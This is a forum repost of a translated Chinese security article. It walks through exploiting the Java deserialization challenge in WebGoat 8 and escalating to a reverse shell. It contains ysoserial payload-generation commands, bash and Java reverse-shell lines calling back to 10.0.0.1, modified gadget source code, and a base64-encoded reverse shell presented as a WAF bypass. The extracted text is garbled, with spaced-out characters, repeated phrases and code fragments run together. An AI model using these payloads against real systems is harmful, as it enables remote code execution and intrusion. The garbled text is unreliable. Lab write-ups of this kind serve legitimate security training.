搜索

[13395] 2018-11-09_Java反序列化漏洞：在受限环境中从漏洞发现到获取反向Shell

文档创建者：s7ckTeam
浏览次数：41
最后更新：2025-01-18
2018-11-09_Java反序列化漏洞：在受限环境中从漏洞发现到获取反向Shell J a v a 反 序 列 化 漏 洞 ： 在 受 限 环 境 中 从 漏 洞 发 现 到 获 取 反 向 S h e l l s e c i s t   F r e e B u f   2 0 1 8 - 1 1 - 0 9 前 言 前 言 J a v a 反 序 列 化 漏 洞 可 以 说 是 反 序 列 化 漏 洞 可 以 说 是 J a v a 安 全 的 一 块 心 病 ， 近 年 来 更 是 在 安 全 界 安 全 的 一 块 心 病 ， 近 年 来 更 是 在 安 全 界 “ 出 尽 风 头 出 尽 风 头 ” 。 其 实 说 到 。 其 实 说 到 J a v a 反 序 列 化 的 反 序 列 化 的 问 题 ， 早 在 问 题 ， 早 在 2 0 1 5 年 年 初 的 在 年 年 初 的 在 A p p S e c C a l i 大 会 上 ， 两 名 安 全 研 究 人 员 大 会 上 ， 两 名 安 全 研 究 人 员 C h r i s   F r o h o f f   和 和   G a b r i e l   L a w r e n c e 发 表 了 发 表 了 一 篇 题 为 《 一 篇 题 为 《 M a r s h a l l i n g   P i c k l e s 》 的 报 告 ， 就 详 细 描 述 了 》 的 报 告 ， 就 详 细 描 述 了 J a v a 反 序 列 化 漏 洞 可 以 利 用 反 序 列 化 漏 洞 可 以 利 用 A p a c h e   C o m m o n s C o l l e c t i o n s 这 个 常 用 的 这 个 常 用 的 J a v a 库 来 实 现 任 意 代 码 执 行 ， 甚 至 还 提 供 了 相 应 的 库 来 实 现 任 意 代 码 执 行 ， 甚 至 还 提 供 了 相 应 的 P a y l o a d 生 成 工 具 生 成 工 具 y s o s e r i a l 。 。 通 过 对 象 序 列 化 ， 开 发 人 员 可 将 内 存 中 对 象 转 换 为 二 进 制 和 文 本 数 据 格 式 进 行 存 储 或 传 输 。 但 是 ， 从 不 受 信 任 的 数 据 反 序 列 化 对 象 可 能 会 导 致 攻 击 者 实 现 远 程 代 码 执 行 。 本 文 我 将 以 W e b G o a t   8 中 的 反 序 列 化 挑 战 （ 部 署 在 D o c k e r 上 ） 为 例 ， 向 大 家 展 示 完 成 该 挑 战 并 进 一 步 获 取 目 标 反 向 s h e l l 的 完 整 过 程 。 漏 洞 发 现 漏 洞 发 现 正 如 挑 战 中 所 提 到 的 ， 易 受 攻 击 的 页 面 从 用 户 输 入 中 获 取 B a s e 6 4 格 式 的 序 列 化 J a v a 对 象 ， 并 不 加 过 滤 的 对 其 进 行 反 序 列 化 操 作 。 我 们 将 通 过 提 供 一 个 序 列 化 对 象 来 利 用 这 个 漏 洞 ， 该 对 象 将 触 发 面 向 属 性 的 编 程 链 （ P O P 链 ） 以 在 反 序 列 化 期 间 实 现 远 程 命 令 执 行 。 启 动 B u r p 并 安 装 一 个 名 为 J a v a - D e s e r i a l i z a t i o n - S c a n n e r 的 插 件 。 该 插 件 主 要 包 括 2 个 功 能 ： 扫 描 以 及 基 于 y s o s e r i a l 生 成 e x p l o i t 。
扫 描 远 程 端 点 后 ， B u r p 插 件 将 向 我 们 返 回 以 下 报 告 内 容 ： 是 个 好 消 息 ！ 漏 洞 利 用 漏 洞 利 用 现 在 ， 让 我 们 继 续 下 一 步 操 作 。 点 击 e x p l o i t a t i o n 选 项 卡 以 实 现 任 意 命 令 执 行 。 从 提 示 信 息 来 看 ， 这 个 错 误 应 该 来 自 y s o s e r i a l 。 我 们 回 到 控 制 台 看 看 究 竟 是 什 么 问 题 。 H i b e r n a t e   5   ( S l e e p ) :   P o t e n t i a l l y   V U L N E R A B L E ! ! !
通 过 观 察 y s o s e r i a l ， 我 看 到 有 两 种 不 同 的 P O P 链 可 用 于 H i b e r n a t e 。 但 使 用 这 些 p a y l o a d 后 ， 我 发 现 它 们 都 没 有 在 目 标 系 统 上 成 功 执 行 。 那 么 ， 插 件 又 是 如 何 生 成 p a y l o a d 来 触 发 s l e e p 命 令 的 呢 ？ 我 决 定 查 看 插 件 的 源 码 ： h t t p s : / / g i t h u b . c o m / f e d e r i c o d o t t a / J a v a - D e s e r i a l i z a t i o n - S c a n n e r / b l o b / m a s t e r / s r c / b u r p / B u r p E x t e n d e r . j a v a 经 过 一 番 仔 细 查 看 ， 我 发 现 原 来 p a y l o a d 在 插 件 的 源 码 中 是 硬 编 码 的 。 因 此 ， 我 们 需 要 找 到 一 种 方 法 来 生 成 相 同 的 p a y l o a d 以 使 其 正 常 工 作 。
基 于 一 些 研 究 和 帮 助 我 发 现 ， 通 过 修 改 当 前 版 本 的 y s o s e r i a l 可 以 使 我 们 的 p a y l o a d 正 常 工 作 。 我 下 载 了 y s o s e r i a l 的 源 码 ， 并 决 定 使 用 H i b e r n a t e   5 重 新 对 其 进 行 编 译 。 想 要 使 用 H i b e r n a t e   5 成 功 构 建 y s o s e r i a l ， 我 们 还 需 要 将 j a v a x . e l 包 添 加 到 p o m . x m l 文 件 中 。 此 外 ， 我 还 向 原 始 项 目 发 送 了 一 个 P u l l 请 求 ， 以 便 在 选 择 h i b e r n a t e 5 配 置 文 件 时 修 复 构 建 。 现 在 ， 我 们 就 可 以 使 用 以 下 命 令 开 始 重 新 构 建 y s o s e r i a l 了 ： 然 后 ， 我 们 使 用 以 下 命 令 来 生 成 p a y l o a d ： m v n   c l e a n   p a c k a g e   - D s k i p T e s t s   - D h i b e r n a t e 5 j a v a   - D h i b e r n a t e 5   - j a r   t a r g e t / y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r   H i b e r n a t e 1   " t o u c h   / t m p / t e s t "   |   b a s e 6 4   - w 0
我 们 可 以 通 过 以 下 命 令 访 问 d o c k e r 容 器 ， 来 验 证 我 们 的 命 令 是 否 已 成 功 执 行 ： 可 以 看 到 我 们 的 p a y l o a d 已 在 目 标 机 器 上 成 功 执 行 了 ！ 我 们 继 续 枚 举 目 标 机 器 上 的 二 进 制 文 件 。 只 有 P e r l 和 B a s h 可 用 。 让 我 们 尝 试 生 成 一 个 可 向 我 们 发 送 反 向 s h e l l 的 p a y l o a d 。 以 下 是 P e n t e s t   M o n k e y s 上 的 一 些 单 行 反 向 s h e l l ： d o c k e r   e x e c   - i t   < C O N T A I N E R _ I D >   / b i n / b a s h w e b g o a t @ 1 d 1 4 2 c c c 6 9 e c : / $   w h i c h   p h p w e b g o a t @ 1 d 1 4 2 c c c 6 9 e c : / $   w h i c h   p y t h o n w e b g o a t @ 1 d 1 4 2 c c c 6 9 e c : / $   w h i c h   p y t h o n 3 w e b g o a t @ 1 d 1 4 2 c c c 6 9 e c : / $   w h i c h   w g e t w e b g o a t @ 1 d 1 4 2 c c c 6 9 e c : / $   w h i c h   c u r l w e b g o a t @ 1 d 1 4 2 c c c 6 9 e c : / $   w h i c h   n c w e b g o a t @ 1 d 1 4 2 c c c 6 9 e c : / $   w h i c h   p e r l / u s r / b i n / p e r l w e b g o a t @ 1 d 1 4 2 c c c 6 9 e c : / $   w h i c h   b a s h / b i n / b a s h w e b g o a t @ 1 d 1 4 2 c c c 6 9 e c : / $
h t t p : / / p e n t e s t m o n k e y . n e t / c h e a t - s h e e t / s h e l l s / r e v e r s e - s h e l l - c h e a t - s h e e t 我 决 定 尝 试 B a s h 反 向 s h e l l ： 但 你 可 能 知 道 j a v a . l a n g . R u n t i m e . e x e c ( ) 具 有 一 定 的 局 限 性 ， 它 不 支 持 重 定 向 或 管 道 等 s h e l l 操 作 符 。 让 我 们 试 试 J a v a 编 写 的 反 向 s h e l l 。 我 将 修 改 G a d g e t s . j a v a 上 的 源 码 ， 来 生 成 反 向 s h e l l   p a y l o a d 。 以 下 是 我 们 需 要 修 改 的 路 径 ： 从 第 1 1 6 到 1 1 8 行 。 下 面 是 P e n t e s t   M o n k e y s 上 提 到 的 一 个 J a v a 反 向 s h e l l ， 但 依 然 无 法 正 常 工 作 ： 在 进 行 了 一 番 修 改 后 ， 结 果 如 下 ： 让 我 们 再 次 重 建 y s o s e r i a l ， 并 测 试 生 成 的 p a y l o a d 。 可 以 看 到 ， 这 次 我 们 成 功 获 取 到 了 一 个 反 向 s h e l l ！ b a s h   - i   > &   / d e v / t c p / 1 0 . 0 . 0 . 1 / 8 0 8 0   0 > & 1 / r o o t / y s o s e r i a l / s r c / m a i n / j a v a / y s o s e r i a l / p a y l o a d s / u t i l / G a d g e t s . j a v a r   =   R u n t i m e . g e t R u n t i m e ( ) p   =   r . e x e c ( [ " / b i n / b a s h " , " - c " , " e x e c   5 < > / d e v / t c p / 1 0 . 0 . 0 . 1 / 2 0 0 2 ; c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e " ]   a s   S t r i n g [ ] ) p . w a i t F o r ( ) S t r i n g   c m d   =   " j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( n e w   S t r i n g   [ ] { " / b i n / b a s h " , " - c " , " e x e c   5 < > / d e v / t c p / 1 0 . 0 . 0 . 1 / 8 0 8 0 ; c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e " } ) . w a i t F o r ( ) ; " ; c l a z z . m a k e C l a s s I n i t i a l i z e r ( ) . i n s e r t A f t e r ( c m d ) ;
太 棒 了 ！ P a y l o a d 生 成 过 程 概 述 生 成 过 程 概 述 在 研 究 过 程 中 ， 我 们 发 现 了 这 个 编 码 器 ， 它 也 可 以 帮 助 我 们 完 成 这 个 任 务 ： h t t p : / / j a c k s o n . t h u r a i s a m y . m e / r u n t i m e - e x e c - p a y l o a d s . h t m l 通 过 以 下 B a s h 反 向 s h e l l 命 令 ： 将 会 为 我 们 生 成 如 下 p a y l o a d ： 另 外 ， 该 编 码 器 还 可 用 于 绕 过 W A F 哦 ！ 不 信 你 就 试 试 ~ 参 考 文 献 参 考 文 献 1 、 h t t p s : / / n i c k b l o o r . c o . u k / 2 0 1 7 / 0 8 / 1 3 / a t t a c k i n g - j a v a - d e s e r i a l i z a t i o n / 2 、 h t t p : / / w w w . p w n t e s t e r . c o m / b l o g / 2 0 1 3 / 1 2 / 1 6 / c v e - 2 0 1 1 - 2 8 9 4 - d e s e r i a l i z a t i o n - s p r i n g - r c e / b a s h   - i   > &   / d e v / t c p / [ I P   a d d r e s s ] / [ p o r t ]   0 > & 1 b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x M C 4 x M C 4 x M C 4 x L z g w O D A g M D 4 m M Q = = } | { b a s e 6 4 , - d } | { b a s h , - i }
3 、 h t t p s : / / g i t h u b . c o m / f r o h o f f / y s o s e r i a l 4 、 h t t p s : / / g i t h u b . c o m / f e d e r i c o d o t t a / J a v a - D e s e r i a l i z a t i o n - S c a n n e r * 参 考 来 源 ： 参 考 来 源 ： m e d i u m ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理